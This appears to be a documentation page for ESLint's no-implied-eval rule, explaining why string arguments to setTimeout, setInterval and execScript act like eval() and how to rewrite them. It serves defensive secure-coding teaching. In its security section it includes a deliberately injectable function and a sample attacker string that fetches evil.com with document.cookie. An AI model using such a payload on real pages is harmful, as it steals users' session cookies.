> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/eslint/eslint/llms.txt
> Use this file to discover all available pages before exploring further.

# no-implied-eval

> Disallow implied eval() via setTimeout() and setInterval()

# no-implied-eval

Using string arguments with `setTimeout()`, `setInterval()`, or `execScript()` is an implied `eval()` with similar security and performance concerns.

<Note>
  **Rule Type:** Suggestion\
  **Fixable:** No
</Note>

## Why This Rule Exists

Passing strings to timer functions is evaluated like `eval()`:

* **Security risks**: String code can be exploited
* **Performance**: Can't be optimized
* **Global scope**: Executes in global scope
* **Better alternative**: Pass functions instead

## Rule Details

This rule disallows string arguments to `setTimeout()`, `setInterval()`, and `execScript()`.

## Examples

### Incorrect Code

```js theme={null}
setTimeout("alert('Hi!');", 100);

setInterval("alert('Hi!');", 100);

execScript("alert('Hi!')");

window.setTimeout("count = 5", 10);

window.setInterval("foo = bar", 10);
```

### Correct Code

```js theme={null}
setTimeout(function() {
    alert("Hi!");
}, 100);

setInterval(function() {
    alert("Hi!");
}, 100);

// Modern syntax
setTimeout(() => {
    alert("Hi!");
}, 100);
```

## Understanding Implied Eval

### How String Arguments Work

<Warning>
  String arguments to setTimeout/setInterval are evaluated like eval().
</Warning>

```js theme={null}
// These are equivalent:
setTimeout("doSomething()", 1000);
setTimeout(function() {
    eval("doSomething()");
}, 1000);

// This is safe:
setTimeout(function() {
    doSomething();
}, 1000);
```

### Security Risk

```js theme={null}
// Vulnerable to injection
function scheduleAction(userAction) {
    setTimeout(userAction, 1000);
}

// Attacker provides: "fetch('evil.com?cookie=' + document.cookie)"
scheduleAction(attackerString);
```

## Common Patterns and Fixes

### Simple Function Call

```js theme={null}
// Wrong
setTimeout("doSomething()", 1000);

// Right
setTimeout(doSomething, 1000);

// Or with arrow function
setTimeout(() => doSomething(), 1000);
```

### With Arguments

```js theme={null}
// Wrong
setTimeout("doSomething(" + x + ", " + y + ")", 1000);

// Right
setTimeout(() => doSomething(x, y), 1000);

// Or use bind
setTimeout(doSomething.bind(null, x, y), 1000);
```

### Multiple Statements

```js theme={null}
// Wrong
setTimeout("foo(); bar();", 1000);

// Right
setTimeout(() => {
    foo();
    bar();
}, 1000);
```

### Dynamic Code

```js theme={null}
// Wrong
const code = "count++";
setInterval(code, 1000);

// Right - restructure to use a function
setInterval(() => {
    count++;
}, 1000);
```

### Global Variable Assignment

```js theme={null}
// Wrong
setTimeout("window.loaded = true", 100);

// Right
setTimeout(() => {
    window.loaded = true;
}, 100);
```

## Performance Comparison

```js theme={null}
// Slower: String must be parsed and evaluated
for (let i = 0; i < 1000; i++) {
    setTimeout("doWork()", i);
}

// Faster: Function reference
for (let i = 0; i < 1000; i++) {
    setTimeout(doWork, i);
}

// Fastest: Reuse same function
const callback = () => doWork();
for (let i = 0; i < 1000; i++) {
    setTimeout(callback, i);
}
```

## Modern Alternatives

### Arrow Functions

```js theme={null}
// Clean and concise
setTimeout(() => console.log('Hello'), 1000);

setInterval(() => {
    updateUI();
    checkStatus();
}, 5000);
```

### Function References

```js theme={null}
// When no arguments needed
setTimeout(handleTimeout, 1000);
setInterval(checkUpdates, 5000);
```

### Bound Functions

```js theme={null}
// Passing arguments
const boundFn = handleClick.bind(null, itemId, data);
setTimeout(boundFn, 1000);
```

## execScript

<Note>
  `execScript()` is an Internet Explorer-only function that's now obsolete.
</Note>

```js theme={null}
// Never do this (IE only, deprecated)
execScript("const x = 5");

// Just write normal code
const x = 5;
```

## Scope Differences

```js theme={null}
function test() {
    let localVar = 'local';
    
    // String eval runs in GLOBAL scope
    setTimeout("console.log(localVar)", 100); // ReferenceError!
    
    // Function runs in closure scope  
    setTimeout(() => console.log(localVar), 100); // Works!
}
```

## Migration Guide

### Find All Instances

```bash theme={null}
# Search for string arguments
grep -r 'setTimeout.*["\']' src/
grep -r 'setInterval.*["\']' src/
```

### Automated Fix

```js theme={null}
// Before
setTimeout("updateUI()", 1000);
setInterval("check()", 5000);

// After
setTimeout(() => updateUI(), 1000);
setInterval(() => check(), 5000);
```

### Complex Cases

```js theme={null}
// Before
setTimeout("obj.method(" + param + ")", 1000);

// After
setTimeout(() => obj.method(param), 1000);
```

## When Not to Use It

This rule should almost never be disabled. If you think you need string arguments to timers:

1. Restructure to use functions
2. If truly impossible, document why and use eval alternatives

## Configuration

```js theme={null}
{
  "rules": {
    "no-implied-eval": "error"
  }
}
```

## Related Rules

* [no-eval](/rules/no-eval)
* [no-new-func](/rules/no-new-func)
